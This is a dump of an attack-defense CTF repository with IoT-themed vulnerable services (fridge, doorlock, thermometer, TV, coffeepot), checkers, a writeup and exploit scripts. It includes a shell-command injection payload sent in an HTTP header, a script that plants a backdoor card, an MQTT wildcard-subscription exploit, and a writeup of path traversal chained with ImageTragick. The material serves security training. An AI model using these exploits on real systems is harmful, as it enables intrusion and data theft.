| url(r'^recipes/add/$', views.add_recipe, name='add_recipe'), 15 | url(r'^recipes/(?P\d+)/$', views.view_recipe, name='recipe'), 16 | url(r'^recipes/(?P\d+)/add/$', views.add_recipe_item, 17 | name='add_recipe_item'), 18 | 19 | url(r'^foods/add/$', views.add_food, name='add_food'), 20 | ] 21 | -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/coffeepot/httpd_src/LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2004-2013 Sergey Lyubka 2 | Copyright (c) 2013-2016 Cesanta Software Limited 3 | All rights reserved 4 | 5 | This software is dual-licensed: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License version 2 as 7 | published by the Free Software Foundation. For the terms of this 8 | license, see . 9 | 10 | You are free to use this software under the terms of the GNU General 11 | Public License, but WITHOUT ANY WARRANTY; without even the implied 12 | warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 13 | See the GNU General Public License for more details. 14 | 15 | Alternatively, you can license this software under a commercial 16 | license, as set out in . 17 | -------------------------------------------------------------------------------- /services/doorlock/scripts/misc/put-get.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # REQUIRED: npm install coap-cli -g 4 | # 5 | 6 | MODEL=`< /dev/urandom tr -dc A-Z | head -c4` 7 | FLOOR=`< /dev/urandom tr -dc 1-9 | head -c1` 8 | ROOM=$FLOOR`< /dev/urandom tr -dc 0-9 | head -c2` 9 | 10 | LOCK_ID=`echo -n | coap post "coap://127.0.0.1/register_lock?model=$MODEL&floor=$FLOOR&room=$ROOM"` 11 | echo "LOCK_ID: $LOCK_ID" 12 | 13 | CARD_ID=`< /dev/urandom tr -dc 1-3 | head -c1` 14 | CARD_TAG=TAG_`< /dev/urandom tr -dc A-Z | head -c31`= # FLAG 15 | 16 | echo -n | coap post "coap://127.0.0.1/add_card?lock=$LOCK_ID&card=$CARD_ID&tag=$CARD_TAG" 17 | 18 | FLAG2=`coap get "coap://127.0.0.1/get_card?lock=$LOCK_ID&card=$CARD_ID"` 19 | 20 | if [ "$FLAG2" == "$CARD_TAG" ] 21 | then 22 | echo "OK (flag found: $CARD_TAG)" 23 | else 24 | echo "ERROR (expected: '$CARD_TAG', but found: '$FLAG2')" 25 | fi 26 | 27 | -------------------------------------------------------------------------------- /services/fridge/web/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | 5 | if __name__ == "__main__": 6 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "fridge.settings") 7 | try: 8 | from django.core.management import execute_from_command_line 9 | except ImportError: 10 | # The above import may fail for some other reason. Ensure that the 11 | # issue is really that Django is missing to avoid masking other 12 | # exceptions on Python 2. 13 | try: 14 | import django 15 | except ImportError: 16 | raise ImportError( 17 | "Couldn't import Django. Are you sure it's installed and " 18 | "available on your PYTHONPATH environment variable? Did you " 19 | "forget to activate a virtual environment?" 20 | ) 21 | raise 22 | execute_from_command_line(sys.argv) 23 | -------------------------------------------------------------------------------- /services/doorlock/include/coap/str.h: -------------------------------------------------------------------------------- 1 | /* 2 | * str.h -- strings to be used in the CoAP library 3 | * 4 | * Copyright (C) 2010-2011 Olaf Bergmann 5 | * 6 | * This file is part of the CoAP library libcoap. Please see README for terms 7 | * of use. 8 | */ 9 | 10 | #ifndef _COAP_STR_H_ 11 | #define _COAP_STR_H_ 12 | 13 | #include 14 | 15 | typedef struct { 16 | size_t length; /* length of string */ 17 | unsigned char *s; /* string data */ 18 | } str; 19 | 20 | #define COAP_SET_STR(st,l,v) { (st)->length = (l), (st)->s = (v); } 21 | 22 | /** 23 | * Returns a new string object with at least size bytes storage allocated. The 24 | * string must be released using coap_delete_string(); 25 | */ 26 | str *coap_new_string(size_t size); 27 | 28 | /** 29 | * Deletes the given string and releases any memory allocated. 30 | */ 31 | void coap_delete_string(str *); 32 | 33 | #endif /* _COAP_STR_H_ */ 34 | -------------------------------------------------------------------------------- /sploits/thermometer/thermometer.sploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import paho.mqtt.client as mqtt 4 | import sys 5 | 6 | def on_connect(client, userdata, flags, rc): 7 | print("Connected to MQTT broker.") 8 | client.subscribe("house/authorization/#") 9 | print("Subscribed to topic 'house/authorization/#'.") 10 | print("Waiting for flags...") 11 | 12 | def on_message(client, userdata, msg): 13 | print(msg.payload) 14 | 15 | def exploit(host): 16 | client = mqtt.Client(client_id="#", clean_session=True) 17 | client.on_connect = on_connect 18 | client.on_message = on_message 19 | 20 | print("Connecting to MQTT broker on %s" % host) 21 | client.connect(host, 1883, 60) 22 | client.loop_forever() 23 | 24 | 25 | if __name__ == "__main__": 26 | if len(sys.argv) != 2: 27 | print('USAGE: %s ' % sys.argv[0]) 28 | exit(-1) 29 | 30 | sys.exit(exploit(sys.argv[1])) 31 | -------------------------------------------------------------------------------- /services/thermometer/README.md: -------------------------------------------------------------------------------- 1 | # Thermometer service 2 | 3 | ## About 4 | 5 | Thermometer service contains four docker images: 6 | * `thermometer/mqtt-broker` - [Mosquitto](https://mosquitto.org/) MQTT broker and [authentication plugin](https://github.com/jpmens/mosquitto-auth-plug) for it. 7 | * `thermometer/mqtt-db` - MySQL database to store authentication and authorization info for Mosquitto. 8 | * `thermometer/sensor` - Temperature Sensor. It sends current (random) temperature via MQTT broker. 9 | * `thermometer/module` - Temperature Module. It allows to authorize sensor and add new user for MQTT broker. These users can read data from sensors after that. 10 | 11 | ## Build and deploy 12 | 13 | To build and export docker images for service you need to run `./prepare_for_deploy.sh`. To load exported images to docker you can use `docker load` command. To automate this process use `thermometer_service` ansible role from `vuln_image` folder. 14 | -------------------------------------------------------------------------------- /services/tv/im/coder.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | ]> 8 | 18 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /services/fridge/config/nginx.conf: -------------------------------------------------------------------------------- 1 | events { 2 | worker_connections 1024; 3 | } 4 | 5 | http { 6 | gzip_vary on; 7 | gzip_proxied any; 8 | gzip_types *; 9 | 10 | server_tokens off; 11 | 12 | upstream django { 13 | server fridge-django:8000; 14 | } 15 | 16 | server { 17 | listen 80 default_server; 18 | 19 | location /static { 20 | alias /static/; 21 | include /etc/nginx/mime.types; 22 | } 23 | 24 | location = /robots.txt { return 200 "User-agent: *\nAllow: /"; } 25 | location = /favicon.ico { access_log off; log_not_found off; return 404; } 26 | 27 | location ~ /\. { access_log off; log_not_found off; deny all; } 28 | location ~ ~$ { access_log off; log_not_found off; deny all; } 29 | 30 | location / { 31 | uwsgi_pass django; 32 | include uwsgi_params; 33 | } 34 | } 35 | } -------------------------------------------------------------------------------- /services/doorlock/ldap/api-lock-register.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # This is Doorlock API stub 3 | set -e 4 | source ldap.cfg 5 | 6 | LOCK_ID=`< /dev/urandom tr -dc 0-9 | head -c14` 7 | LOCK_MODEL=`< /dev/urandom tr -dc A-Z | head -c4` 8 | LOCK_FLOOR=`< /dev/urandom tr -dc 1-9 | head -c1` 9 | LOCK_ROOM=$LOCK_FLOOR`< /dev/urandom tr -dc 0-9 | head -c2` 10 | 11 | echo Generated random: 12 | echo "LOCK_ID: $LOCK_ID" 13 | echo "LOCK_MODEL: $LOCK_MODEL" 14 | echo "LOCK_FLOOR: $LOCK_FLOOR" 15 | echo "LOCK_ROOM: $LOCK_ROOM" 16 | 17 | /usr/bin/time -f "\t%E real,\t%U user,\t%S sys" -a -o api-lock-register.log \ 18 | cat << EOF | ldapadd -h $LDAP_HOST -D $LDAP_USER -w $LDAP_PASS 19 | dn: cn=$LOCK_ID,cn=locks,$LDAP_ROOT 20 | objectClass: top 21 | objectClass: device 22 | objectClass: lockObject 23 | lockModel: Secure Lock Model $LOCK_MODEL 24 | lockFloor: $LOCK_FLOOR 25 | lockRoom: $LOCK_ROOM 26 | timestamp: 199412161032Z 27 | EOF 28 | 29 | echo "Created new lock with lockId: $LOCK_ID" 30 | -------------------------------------------------------------------------------- /services/thermometer/sensor/Dockerfile.compile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.4 2 | 3 | RUN apk add --no-cache make gcc musl-dev libuuid libc6-compat openssl-dev util-linux-dev bash 4 | 5 | COPY paho.mqtt.c /usr/src/paho.mqtt.c 6 | WORKDIR /usr/src/paho.mqtt.c 7 | RUN make 8 | 9 | COPY src /usr/src/thermometer 10 | WORKDIR /usr/src/thermometer 11 | RUN gcc -o /usr/bin/sensor sensor.c ../paho.mqtt.c/src/MQTTClient.c ../paho.mqtt.c/src/MQTTPacket.c ../paho.mqtt.c/src/MQTTPacketOut.c ../paho.mqtt.c/src/StackTrace.c ../paho.mqtt.c/src/Thread.c ../paho.mqtt.c/src/Log.c ../paho.mqtt.c/src/Messages.c ../paho.mqtt.c/src/LinkedList.c ../paho.mqtt.c/src/Heap.c ../paho.mqtt.c/src/Tree.c ../paho.mqtt.c/src/Socket.c ../paho.mqtt.c/src/SocketBuffer.c ../paho.mqtt.c/src/MQTTPersistence.c ../paho.mqtt.c/src/Clients.c ../paho.mqtt.c/src/MQTTProtocolClient.c ../paho.mqtt.c/src/MQTTProtocolOut.c ../paho.mqtt.c/src/MQTTPersistenceDefault.c ../paho.mqtt.c/src/utf-8.c -luuid -lm -I ../paho.mqtt.c/build/ -I ../paho.mqtt.c/src/ 12 | -------------------------------------------------------------------------------- /services/tv/im/magic.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | ]> 9 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /services/doorlock/include/coap/libcoap.h: -------------------------------------------------------------------------------- 1 | /* 2 | * libcoap.h -- platform specific header file for CoAP stack 3 | * 4 | * Copyright (C) 2015 Carsten Schoenert 5 | * 6 | * This file is part of the CoAP library libcoap. Please see README for terms 7 | * of use. 8 | */ 9 | 10 | #ifndef _LIBCOAP_H_ 11 | #define _LIBCOAP_H_ 12 | 13 | /* The non posix embedded platforms like Contiki, TinyOS, RIOT, ... doesn't have 14 | * a POSIX compatible header structure so we have to slightly do some platform 15 | * related things. Currently there is only Contiki available so we check for a 16 | * CONTIKI environment and do *not* include the POSIX related network stuff. If 17 | * there are other platforms in future there need to be analogous environments. 18 | * 19 | * The CONTIKI variable is within the Contiki build environment! */ 20 | 21 | #if !defined (CONTIKI) 22 | #include 23 | #include 24 | #endif /* CONTIKI */ 25 | 26 | #endif /* _LIBCOAP_H_ */ 27 | -------------------------------------------------------------------------------- /services/fridge/config/django.uwsgi.ini: -------------------------------------------------------------------------------- 1 | ##### 2 | # uWSGI configuration 3 | # 4 | ##### 5 | 6 | [uwsgi] 7 | plugins = python3 8 | 9 | master = True 10 | lazy-apps = True 11 | 12 | # Number of worker processes for handling requests 13 | # %k = cpu count 14 | processes = %(%k * 2) 15 | 16 | # Number of threads for handling requests 17 | threads = %(%k * 2) 18 | 19 | # Respawn processes that take more than ... seconds 20 | harakiri = 20 21 | 22 | # Respawn processes after serving ... requests 23 | max-requests = 5000 24 | 25 | # Clear environment on exit 26 | vacuum = True 27 | 28 | # the base directory (full path) 29 | chdir = /srv/ 30 | 31 | # Django's wsgi file (path starting from chdir/) 32 | module = $(DJANGO_PROJECT_NAME).wsgi:application 33 | 34 | # location of settings 35 | env = DJANGO_SETTINGS_MODULE=$(DJANGO_PROJECT_NAME).settings 36 | 37 | # the socket 38 | socket = :8000 39 | 40 | # touch to reload uwsgi, usage: touch /etc/uwsgi/reload-uwsgi.ini 41 | touch-reload=/etc/uwsgi/reload-uwsgi.ini -------------------------------------------------------------------------------- /services/doorlock/include/coap_list.h: -------------------------------------------------------------------------------- 1 | /* -*- Mode: C; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 * -*- */ 2 | 3 | /* coap_list.h -- CoAP list structures 4 | * 5 | * Copyright (C) 2010,2011,2015 Olaf Bergmann 6 | * 7 | * This file is part of the CoAP library libcoap. Please see README for terms of 8 | * use. 9 | */ 10 | 11 | #ifndef _COAP_LIST_H_ 12 | #define _COAP_LIST_H_ 13 | 14 | #include "utlist.h" 15 | 16 | typedef struct coap_list_t { 17 | struct coap_list_t *next; 18 | char data[]; 19 | } coap_list_t; 20 | 21 | /** 22 | * Adds node to given queue, ordered by specified order function. Returns 1 23 | * when insert was successful, 0 otherwise. 24 | */ 25 | int coap_insert(coap_list_t **queue, coap_list_t *node); 26 | 27 | /* destroys specified node */ 28 | int coap_delete(coap_list_t *node); 29 | 30 | /* removes all items from given queue and frees the allocated storage */ 31 | void coap_delete_list(coap_list_t *queue); 32 | 33 | #endif /* _COAP_LIST_H_ */ 34 | -------------------------------------------------------------------------------- /services/fridge/web/dumper/__init__.py: -------------------------------------------------------------------------------- 1 | import csv 2 | import codecs 3 | 4 | 5 | def dump_model_to_file(model, filename): 6 | # Use Django API to get all model fields 7 | columns = [field.attname for field in model._meta.fields] 8 | 9 | with codecs.open(filename, 'w', encoding='utf-8') as opened_file: 10 | # Open csv writer and dump header: special row with columns names 11 | writer = csv.DictWriter(opened_file, fieldnames=columns) 12 | writer.writeheader() 13 | 14 | # Iterate over all objects of the model 15 | for obj in model.objects.all(): 16 | object_dict = {} 17 | for column in columns: 18 | # Don't worry about newlines (\n and \r): csv.DictWriter will enclose such strings in quotes (") 19 | # So I think there is no vulnerability here 20 | object_dict[column] = str(getattr(obj, column, '')) 21 | 22 | # Dump dictionary for current object 23 | writer.writerow(object_dict) 24 | -------------------------------------------------------------------------------- /writeups/tv.md: -------------------------------------------------------------------------------- 1 | ## TV service writeup 2 | 3 | TV service allows you to create users, upload images and view them. For each image you can add text comments. 4 | 5 | Service converts each uploaded image to png format and resizes it to 128x128 using `convert` util from `imagemagick` package. 6 | 7 | Docker container `tv` has an old version of imagemagick installed. It's vulnerable to [CVE-2016-3714](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3714). See detailes at https://imagetragick.com/. Tv uses modified version of imagemagick's config files `police.xml` and `delegates.xml`, which are protected from this vulnerability. So we should modify this file before imagetragick exploitation. 8 | 9 | There is second vulnerability which allows to upload files to any folder on the server. So if you upload an empty file with name '../im/test.png/../delegates.xml' you will rewrite original `delegates.xml` and open it to imagetragick. 10 | 11 | After all we should just use exploit for imagetragick. See example in the [sploit](../sploits/tv/tv.pl). 12 | -------------------------------------------------------------------------------- /services/doorlock/ldap/api-card-add.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # This is Doorlock API stub 3 | set -e 4 | source ldap.cfg 5 | 6 | if [ -z "$3" ] 7 | then 8 | echo USAGE: `basename $0` LOCK_ID CARD_ID CARD_TAG 9 | exit 1 10 | fi 11 | 12 | LOCK_ID=$1 # 1st part of FLAG_ID (got on register) 13 | CARD_ID=$2 # 2nd part of FLAG_ID (generated at checker) 14 | CARD_TAG=$3 # FLAG 15 | 16 | FOUND=`ldapsearch -h $LDAP_HOST -D $LDAP_USER -w $LDAP_PASS -b $LDAP_ROOT -LLL cn=$LOCK_ID | grep cn: | wc -l` 17 | if [ $FOUND -eq 0 ] 18 | then 19 | echo LOCK NOT FOUND 20 | exit 0 21 | fi 22 | 23 | /usr/bin/time -f "\t%E real,\t%U user,\t%S sys" -a -o api-card-add.log \ 24 | cat << EOF | ldapadd -h $LDAP_HOST -D $LDAP_USER -w $LDAP_PASS 25 | dn: cn=$CARD_ID,cn=$LOCK_ID,cn=locks,$LDAP_ROOT 26 | objectClass: top 27 | objectClass: device 28 | objectClass: cardObject 29 | lockId: $LOCK_ID 30 | cardTag: $CARD_TAG 31 | cardOwner: John Doe 32 | timestamp: 199412161032Z 33 | EOF 34 | 35 | echo "Added card (CN=$CARD_ID) to lock $LOCK_ID" 36 | -------------------------------------------------------------------------------- /checkers/doorlock/nano-checksystem.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | CHECKER=./doorlock.checker.py 4 | TIMEFMT="\t%E real,\t%U user,\t%S sys" 5 | 6 | if [ -z "$1" ] 7 | then 8 | echo "Usage: `basename $0` HOST [COUNT]" 9 | exit 1 10 | fi 11 | 12 | MAX="${2:-10}" 13 | ITER=0 14 | while [ 1 ] 15 | do 16 | if [ "$ITER" -eq "$MAX" ]; then break; fi 17 | 18 | echo " ========================== $ITER ========================== " 19 | ITER=$((ITER+1)) 20 | 21 | /usr/bin/time -qf "$TIMEFMT" $CHECKER check $1 22 | CODE=$? 23 | echo ">>> check: code=$CODE" 24 | if [ $CODE -ne 101 ]; then continue; fi 25 | 26 | FLAG=`< /dev/urandom tr -dc A-Z | head -c31`= 27 | VULN=$((1 + RANDOM % 2)) 28 | 29 | FLAG_ID=`/usr/bin/time -qf "$TIMEFMT" $CHECKER put $1 FAKE_ID $FLAG $VULN` 30 | CODE=$? 31 | echo ">>> put: code=$CODE" 32 | if [ $CODE -ne 101 ]; then continue; fi 33 | 34 | FLAG_ID=`/usr/bin/time -qf "$TIMEFMT" $CHECKER get $1 $FLAG_ID $FLAG $VULN` 35 | CODE=$? 36 | echo ">>> get: code=$CODE" 37 | if [ $CODE -ne 101 ]; then continue; fi 38 | done 39 | -------------------------------------------------------------------------------- /services/fridge/config/db.check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | db.check.py 5 | This script will check whether the postgres container is up and running. It'll 6 | connect to the database with the credentials provided in the environment 7 | variables. 8 | """ 9 | 10 | import os 11 | import sys 12 | import psycopg2 13 | 14 | 15 | def database_check(): 16 | dbname = os.environ.get('POSTGRES_DB') 17 | user = os.environ.get('POSTGRES_USER') 18 | password = os.environ.get('POSTGRES_PASSWORD') 19 | host = os.environ.get('POSTGRES_HOST') 20 | port = os.environ.get('POSTGRES_PORT') 21 | 22 | print("HOST: {host}:{port}, DB: {dbname}, USER: {user}".format( 23 | dbname=dbname, 24 | user=user, 25 | host=host, 26 | port=port)) 27 | 28 | try: 29 | psycopg2.connect( 30 | dbname=dbname, 31 | user=user, 32 | password=password, 33 | host=host, 34 | port=port) 35 | except: 36 | sys.exit(1) 37 | 38 | sys.exit(0) 39 | 40 | if __name__ == "__main__": 41 | database_check() -------------------------------------------------------------------------------- /services/thermometer/docker-compose-compile-binaries.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | compile-mosquitto-auth-plugin: 5 | build: 6 | context: mosquitto-auth-plugin 7 | args: 8 | - http_proxy 9 | - https_proxy 10 | - no_proxy 11 | image: compile-mosquitto-auth-plugin 12 | volumes: 13 | - ./mosquitto:/output 14 | command: cp /usr/mosquitto-auth-plug/auth-plug.so /output 15 | 16 | compile-sensor: 17 | image: compile-thermometer-sensor 18 | build: 19 | context: sensor 20 | dockerfile: Dockerfile.compile 21 | args: 22 | - http_proxy 23 | - https_proxy 24 | - no_proxy 25 | volumes: 26 | - ./sensor:/output 27 | command: cp /usr/bin/sensor /output 28 | 29 | compile-module: 30 | image: compile-thermometer-module 31 | build: 32 | context: module 33 | dockerfile: Dockerfile.compile 34 | args: 35 | - http_proxy 36 | - https_proxy 37 | - no_proxy 38 | volumes: 39 | - ./module:/output 40 | command: cp /usr/bin/module /output 41 | -------------------------------------------------------------------------------- /services/thermometer/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | mqtt-db: 5 | image: thermometer/mqtt-db 6 | hostname: mqtt-db 7 | container_name: mqtt-db 8 | restart: on-failure 9 | volumes: 10 | - mysql-data:/var/lib/mysql 11 | 12 | mqtt-broker: 13 | image: thermometer/mqtt-broker 14 | hostname: mqtt-broker 15 | container_name: mqtt-broker 16 | restart: on-failure 17 | depends_on: 18 | - mqtt-db 19 | ports: 20 | - "1883:1883" 21 | links: 22 | - mqtt-db 23 | 24 | sensor: 25 | image: thermometer/sensor 26 | hostname: sensor 27 | container_name: thermometer-sensor 28 | restart: on-failure 29 | depends_on: 30 | - mqtt-broker 31 | links: 32 | - mqtt-broker 33 | 34 | module: 35 | image: thermometer/module 36 | hostname: module 37 | container_name: thermometer-module 38 | restart: on-failure 39 | depends_on: 40 | - mqtt-broker 41 | links: 42 | - mqtt-broker 43 | ports: 44 | - "8888:8888" 45 | security_opt: 46 | - seccomp=unconfined 47 | 48 | volumes: 49 | mysql-data: 50 | -------------------------------------------------------------------------------- /services/tv/im/log.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | ]> 12 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /services/doorlock/ldap/slapd.d/cn=config.ldif: -------------------------------------------------------------------------------- 1 | # AUTO-GENERATED FILE - DO NOT EDIT!! Use ldapmodify. 2 | # CRC32 f2850a74 3 | dn: cn=config 4 | objectClass: olcGlobal 5 | cn: config 6 | olcConfigFile: doorlock.conf 7 | olcConfigDir: slapd.d 8 | olcAttributeOptions: lang- 9 | olcAuthzPolicy: none 10 | olcConcurrency: 0 11 | olcConnMaxPending: 100 12 | olcConnMaxPendingAuth: 1000 13 | olcGentleHUP: FALSE 14 | olcIdleTimeout: 0 15 | olcIndexSubstrIfMaxLen: 4 16 | olcIndexSubstrIfMinLen: 2 17 | olcIndexSubstrAnyLen: 4 18 | olcIndexSubstrAnyStep: 2 19 | olcIndexIntLen: 4 20 | olcListenerThreads: 1 21 | olcLocalSSF: 71 22 | olcLogLevel: 0 23 | olcReadOnly: FALSE 24 | olcReverseLookup: FALSE 25 | olcSaslSecProps: noplain,noanonymous 26 | olcSockbufMaxIncoming: 262143 27 | olcSockbufMaxIncomingAuth: 16777215 28 | olcThreads: 16 29 | olcTLSVerifyClient: never 30 | olcTLSProtocolMin: 0.0 31 | olcToolThreads: 1 32 | olcWriteTimeout: 0 33 | structuralObjectClass: olcGlobal 34 | entryUUID: 1df04a6e-c2f4-1036-9642-aff1bf41bfdc 35 | creatorsName: cn=config 36 | createTimestamp: 20170501195714Z 37 | entryCSN: 20170501195714.747043Z#000000#000#000000 38 | modifiersName: cn=config 39 | modifyTimestamp: 20170501195714Z 40 | -------------------------------------------------------------------------------- /services/doorlock/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | LABEL maintainer "dimmoborgir@hackerdom.ru" 4 | 5 | WORKDIR /app 6 | 7 | RUN apt-get update 8 | 9 | RUN apt-get --no-install-recommends -y install apt-utils expect 10 | 11 | RUN DEBIAN_FRONTEND=noninteractive apt-get --no-install-recommends -y install slapd libldap-2.4-2 12 | 13 | # App sources / build requirements 14 | COPY Makefile . 15 | COPY doorlock-server.cpp . 16 | COPY libs libs 17 | COPY include include 18 | 19 | COPY ldap/ldap-dpkg-reconfigure.sh . 20 | RUN /app/ldap-dpkg-reconfigure.sh 21 | 22 | COPY ldap/doorlock.schema /etc/ldap/schema/doorlock.schema 23 | COPY ldap/slapd.d/cn=config/cn=schema/cn={4}doorlock.ldif /etc/ldap/slapd.d/cn=config/cn=schema/ 24 | RUN chown openldap.openldap /etc/ldap/slapd.d/cn=config/cn=schema/cn={4}doorlock.ldif 25 | 26 | RUN apt-get --no-install-recommends -y install ldap-utils 27 | 28 | COPY ldap/ldap-init.sh . 29 | COPY ldap/ldap.cfg . 30 | COPY ldap/add-locks.ldif . 31 | 32 | RUN apt-get --no-install-recommends -y install g++ make libldap2-dev 33 | RUN make 34 | 35 | RUN apt-get --no-install-recommends -y install netcat 36 | 37 | COPY docker-wrapper.sh . 38 | CMD /app/docker-wrapper.sh 39 | 40 | EXPOSE 5683/udp 41 | -------------------------------------------------------------------------------- /sploits/doorlock/sploit-backdoor.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -z "$2" ] 4 | then 5 | echo "Usage: `basename $0` HOST MODE" 6 | echo "MODE = (infect | pwn)" 7 | echo "First, run infect (once)" 8 | echo "Then, run pwn (repeat each round)" 9 | exit 1 10 | fi 11 | 12 | BACKDOOR_TAG="LITLGIRLJTINJEKCADGGJBWDEIOVCMX=" 13 | CARD_ID=9123 14 | LOCK_ID_FILE="pwn-lockid-$1.tmp" 15 | 16 | if [ "$2" == "infect" ] 17 | then 18 | echo "Register lock ... " 19 | 20 | MODEL=`< /dev/urandom tr -dc A-Z | head -c4` 21 | FLOOR=`< /dev/urandom tr -dc 1-9 | head -c1` 22 | ROOM=$FLOOR`< /dev/urandom tr -dc 0-9 | head -c3` 23 | 24 | LOCK_ID=`coap -pT post "coap://$1/register_lock?model=$MODEL&floor=$FLOOR&room=$ROOM"` 25 | echo $LOCK_ID > $LOCK_ID_FILE 26 | echo "$LOCK_ID (saved to $LOCK_ID_FILE)" 27 | 28 | echo "Add card ... " 29 | coap -pT post "coap://$1/add_card?lock=$LOCK_ID&card=$CARD_ID&tag=$BACKDOOR_TAG" 30 | fi 31 | 32 | if [ "$2" == "pwn" ] 33 | then 34 | if [ ! -f $LOCK_ID_FILE ] 35 | then 36 | echo "$1 was not infected yet..." 37 | exit 1 38 | fi 39 | LOCK_ID=`cat $LOCK_ID_FILE` 40 | coap -T get "coap://$1/get_card?lock=$LOCK_ID&card=$CARD_ID" 41 | fi 42 | 43 | -------------------------------------------------------------------------------- /sploits/coffeepot/coffeepot_spl.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | import random 4 | 5 | host = sys.argv[1] 6 | 7 | pot_id = str(random.randrange(10**10, 10**20)) 8 | pot2_id = "7392" 9 | 10 | uri = "http://%s:3255/pot-%s" % (host,pot_id) 11 | uri2 = "http://%s:3255/pot-%s" % (host,pot2_id) 12 | 13 | # put a posion in rum and place it to the pot 14 | payload = "Rum:a[$(cat pots/* |grep Flag > pots/pot-%s)]" % pot2_id 15 | headers = {"Accept-Additions": payload} 16 | 17 | resp = requests.post(uri, headers=headers) 18 | print(resp.status_code, resp.text) 19 | 20 | headers = {"Addition": "Rum"} 21 | 22 | # activate poison 23 | resp = requests.put(uri, headers=headers) 24 | print(resp.status_code, resp.text) 25 | 26 | # see the result 27 | resp = requests.request("PROPFIND", uri2) 28 | print(resp.status_code, resp.text) 29 | 30 | ############# 31 | # hide traces 32 | pot_id = str(random.randrange(10**10, 10**20)) 33 | uri = "http://%s:3255/pot-%s" % (host,pot_id) 34 | 35 | payload = "Rum:a[$(rm pots/pot-%s)]" % pot2_id 36 | headers = {"Accept-Additions": payload} 37 | 38 | resp = requests.post(uri, headers=headers) 39 | print(resp.status_code, resp.text) 40 | 41 | headers = {"Addition": "Rum"} 42 | # drink poison 43 | resp = requests.put(uri, headers=headers) 44 | print(resp.status_code, resp.text) 45 | -------------------------------------------------------------------------------- /services/fridge/web/templates/_jumbotron.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |

Fridge

4 |

5 | Sign in and create unlimited refrigerators, add information about your food and favourite recipes. 6 | You can also connect your IoT kitchen gadgets to our API. 7 |

8 |

9 | {% if user.is_authenticated %} 10 | 13 | 16 | {% else %} 17 | 20 | 23 | {% endif %} 24 |

25 |
26 |
-------------------------------------------------------------------------------- /vuln_image/roles/tv_service/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Copy tv service from host 4 | copy: 5 | src: ../services/tv 6 | dest: /home/ctf/ 7 | owner: ctf 8 | group: ctf 9 | 10 | - shell: docker images 11 | register: docker_images 12 | changed_when: false 13 | 14 | - name: Copy tv service docker image 15 | copy: 16 | src: ../../docker_images/phdays_ctf_tv.tgz 17 | dest: /tmp/phdays_ctf_tv.tgz 18 | when: docker_images.stdout.find('phdays_ctf_tv') == -1 19 | 20 | - name: Unzip tv service docker image 21 | command: gunzip /tmp/phdays_ctf_tv.tgz creates=/tmp/phdays_ctf_tv.tar 22 | when: docker_images.stdout.find('phdays_ctf_tv') == -1 23 | 24 | - name: Load tv service docker image 25 | docker_image: 26 | name: phdays_ctf_tv 27 | tag: v2 28 | load_path: /tmp/phdays_ctf_tv.tar 29 | when: docker_images.stdout.find('phdays_ctf_tv') == -1 30 | 31 | - name: Remove files 32 | file: 33 | path: "{{ item }}" 34 | state: absent 35 | with_items: 36 | - /tmp/phdays_ctf_tv.tgz 37 | - /tmp/phdays_ctf_tv.tar 38 | 39 | - name: Copy systemd script 40 | copy: 41 | src: files/tv.service 42 | dest: /etc/systemd/system 43 | 44 | - name: Enable tv service 45 | systemd: 46 | name: tv 47 | enabled: yes 48 | state: started 49 | daemon_reload: yes 50 | -------------------------------------------------------------------------------- /services/fridge/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | fridge-db: 5 | image: postgres 6 | volumes: 7 | - ./volumes/db:/var/lib/postgresql/data 8 | env_file: 9 | - ./config/environment.env 10 | restart: on-failure 11 | container_name: fridge-db 12 | 13 | fridge-django: 14 | build: 15 | context: . 16 | dockerfile: ./config/django.Dockerfile 17 | depends_on: 18 | - fridge-db 19 | volumes: 20 | - ./volumes/dumps:/dumps 21 | - ./volumes/static:/static 22 | env_file: 23 | - ./config/environment.env 24 | expose: 25 | - "8000" 26 | restart: on-failure 27 | container_name: fridge-django 28 | 29 | fridge-nginx: 30 | image: nginx 31 | volumes: 32 | - ./config/nginx.conf:/etc/nginx/nginx.conf 33 | - ./volumes/static:/static:ro 34 | depends_on: 35 | - fridge-django 36 | ports: 37 | - "8000:80" 38 | restart: on-failure 39 | container_name: fridge-nginx 40 | 41 | fridge-api: 42 | build: 43 | context: . 44 | dockerfile: ./config/api.Dockerfile 45 | volumes: 46 | - ./volumes/dumps:/dumps:ro 47 | ports: 48 | - "9595:9595" 49 | restart: on-failure 50 | container_name: fridge-api 51 | 52 | -------------------------------------------------------------------------------- /services/tv/im/colors.xml: -------------------------------------------------------------------------------- 1 | 2 | 